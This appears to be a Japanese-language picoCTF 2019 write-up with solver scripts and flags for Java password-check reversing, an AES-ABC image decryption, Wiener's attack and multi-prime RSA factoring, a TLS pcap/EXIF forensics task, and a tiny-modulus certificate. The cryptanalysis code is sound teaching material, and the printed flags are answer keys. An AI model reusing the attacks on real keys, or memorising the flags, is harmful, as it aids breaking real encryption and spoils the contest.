            return false;
        }
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x36, 0x63, 0x66, 0x67, 0x37, 0x62, 0x61,
        };
        for (int i=0; i<32; i++) {
            if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
                return false;
            }
        }
        return true;
    }

0x55とXORしたものと比較していることからフラグを導き出す。

enc = [
    0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
    0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
    0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
    0xa , 0x36, 0x63, 0x66, 0x67, 0x37, 0x62, 0x61,
]

flag = ''
for e in enc:
    flag += chr(e ^ 0x55)

flag = 'picoCTF{%s}' % flag
print flag
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_c632b74}

AES-ABC (Cryptography 400)

改行3つ目までがheader、残りがdata。dataに対して、aes_abc_encryptを実行する。aes_abc_encryptは以下のような処理で、計算内容はCBCとは異なるが、影響範囲としてはCBCと同様の処理をしている。

・padding後、AES-ECB暗号化する
・iv: ランダム16バイト
・(前のブロック+現在のブロック) % UMAX

block[0] = iv
(block[0] + block[1]) % UMAX -> block[1]
(block[1] + block[2]) % UMAX -> block[2]
       :
(block[n-1] + block[n]) % UMAX -> blocl[n]

最初の1ブロック以外はAES暗号の復号前まで戻してみる。

import math

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))

def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0: 
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded

def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]

def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data

def aes_abc_tmp_decrypt(ct):
    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    blocks.reverse()
    new_blocks = []
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)
        n_curr_blk = prev_blk - curr_blk
        if n_curr_blk < 0:
            n_curr_blk += UMAX
        new_blocks.append(to_bytes(n_curr_blk))
    new_blocks.reverse()

    return ''.join(new_blocks)

with open('body.enc.ppm', 'rb') as f:
    header, data = parse_header_ppm(f)

dec = aes_abc_tmp_decrypt(data)

with open('tmp_flag.ppm', 'wb') as f:
    f.write(header + dec[:16] + dec)

f:id:satou-y:20191017215241p:plain
何とかフラグを読み取れる。

picoCTF{d0Nt_r0ll_yoUr_0wN_aES}

b00tl3gRSA2 (Cryptography 400)

$ nc 2019shell1.picoctf.com 10814
c: 13793858598606185346187522487275541892820726174499569231680257603623357688993530677863584992636796187707417750162128752476219857212460103511568398268349269492500478163386042379297834200848572801846223635147203800428610832359806995791464994105291806737886082986496835175662238193229510360206462697208899171989
n: 76688918376639384056948708061881763020374785261192009248360211072631229367139461998112771644463558450478793700934191029284106264422345928019392758524314796468848626557525758342884324016058426354865987550036392167563034197698536992762004036339941692434262827202393456023585106148957965757134972532963293828303
e: 33810665846386291147618535647649597337545341491628880101654331732191078952868267009070760393291271462961903431569838649925003683479855093217454786834941349337159786090166683846868513433820922900267112841110670550432665993398345137259528753733539957873485645414053262762670740546497019362906934282901810122129

eが非常に大きいので、Wiener's Attackで復号する。

from fractions import Fraction

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return hex(pt)[2:-1].decode('hex')

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

c = 13793858598606185346187522487275541892820726174499569231680257603623357688993530677863584992636796187707417750162128752476219857212460103511568398268349269492500478163386042379297834200848572801846223635147203800428610832359806995791464994105291806737886082986496835175662238193229510360206462697208899171989
n = 76688918376639384056948708061881763020374785261192009248360211072631229367139461998112771644463558450478793700934191029284106264422345928019392758524314796468848626557525758342884324016058426354865987550036392167563034197698536992762004036339941692434262827202393456023585106148957965757134972532963293828303
e = 33810665846386291147618535647649597337545341491628880101654331732191078952868267009070760393291271462961903431569838649925003683479855093217454786834941349337159786090166683846868513433820922900267112841110670550432665993398345137259528753733539957873485645414053262762670740546497019362906934282901810122129

p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag
picoCTF{bad_1d3a5_3347891}

vault-door-7 (Reverse Engineering 400)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        int[] x = passwordToIntArray(password);
        return x[0] == 1096770097
            && x[1] == 1952395366
            && x[2] == 1600270708
            && x[3] == 1601398833
            && x[4] == 1716808014
            && x[5] == 1734292281
            && x[6] == 1698182450
            && x[7] == 1684289586;
    }

この数値から文字にしていく。

import struct

enc = [1096770097, 1952395366, 1600270708, 1601398833, 1716808014,
    1734292281, 1698182450, 1684289586]

flag = ''
for e in enc:
    flag += struct.pack('>I', e)

flag = 'picoCTF{%s}' % flag
print flag
picoCTF{A_b1t_0f_b1t_sh1fTiNg_39e852dd82}

WebNet1 (Forensics 450)

Wiresharkで以下のパラメータと合わせて秘密鍵を設定する。

IP address: 172.31.22.220
Port: 443
Protocol: http

vulture.jpgをエクスポートし、EXIFを見てみる。

$ exiftool vulture.jpg 
ExifTool Version Number         : 10.10
File Name                       : vulture.jpg
Directory                       : .
File Size                       : 69 kB
File Modification Date/Time     : 2019:09:28 16:20:10+09:00
File Access Date/Time           : 2019:09:28 16:20:31+09:00
File Inode Change Date/Time     : 2019:09:28 16:20:10+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Artist                          : picoCTF{honey.roasted.peanuts}
Y Cb Cr Positioning             : Centered
Profile CMM Type                : lcms
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2012:01:25 03:41:57
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : lcms
Profile ID                      : 0
Profile Description             : c2
Profile Copyright               : FB
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0.01205 0.0125 0.01031
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
Image Width                     : 640
Image Height                    : 716
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 640x716
Megapixels                      : 0.458

Artistにフラグが設定されている。

picoCTF{honey.roasted.peanuts}

b00tl3gRSA3 (Cryptography 450)

$ nc 2019shell1.picoctf.com 32246
c: 895001341042775595914955574834831490589674569996731972925421151683392381213789611999337500706849076458646852809859731237710919705868316092987174778384883036178501473695091273824547689492395946284758507086106530211663844853015472558325068902745528542273143615098690955458638512970194148504705244634687227371334275732273448227595644231710528384
n: 10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993
e: 65537

nを素因数分解する。

$ python -m primefac 10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993
10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993: 12205495097 11161257853 10941437519 11489186321 13042115077 11165353907 9659147851 10635603613 9251415559 10885265219 16249361629 12649980659 16647784739 8630760791 12844878169 12304484821 15478382767 9447893711 11549280851 10078480663 16545736927 16364501161 13271317769 10012376573 16168927013 16132192283 9763931897 9898051883 16916020673 13496857547 11543110069 13102479631 10511870431 14967470149

たくさんの素数に分解されたので、Multi-Prime RSAの復号方法で復号する。

from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * inverse(p, n_i) * p
    return sum % prod

c = 895001341042775595914955574834831490589674569996731972925421151683392381213789611999337500706849076458646852809859731237710919705868316092987174778384883036178501473695091273824547689492395946284758507086106530211663844853015472558325068902745528542273143615098690955458638512970194148504705244634687227371334275732273448227595644231710528384
n = 10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993
e = 65537

primes = [
    12205495097, 11161257853, 10941437519, 11489186321, 13042115077,
    11165353907, 9659147851, 10635603613, 9251415559, 10885265219,
    16249361629, 12649980659, 16647784739, 8630760791, 12844878169,
    12304484821, 15478382767, 9447893711, 11549280851, 10078480663,
    16545736927, 16364501161, 13271317769, 10012376573, 16168927013,
    16132192283, 9763931897, 9898051883, 16916020673, 13496857547,
    11543110069, 13102479631, 10511870431, 14967470149]

n_ary = []
a_ary = []
for p in primes:
    phi = p - 1
    d = inverse(e, phi)
    mk = pow(c, d, p)
    n_ary.append(p)
    a_ary.append(mk)

m = chinese_remainder(n_ary, a_ary)
flag = long_to_bytes(m)
print flag
picoCTF{too_many_fact0rs_0867821}

john_pollard (Cryptography 500)

証明書の公開鍵の情報を見てみる。

$ openssl x509 -text -noout -in cert
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
    Signature Algorithm: md2WithRSAEncryption
        Issuer: CN=PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU=PicoCTF, O=PicoCTF, L=PicoCTF, ST=PicoCTF, C=US, CN=PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f

Hintを見ると、フラグフォーマットはpicoCTF{p,q}ということなので、n(=4966306421059967)を素因数分解する。

$ python -m primefac 4966306421059967
4966306421059967: 73176001 67867967
picoCTF{73176001,67867967}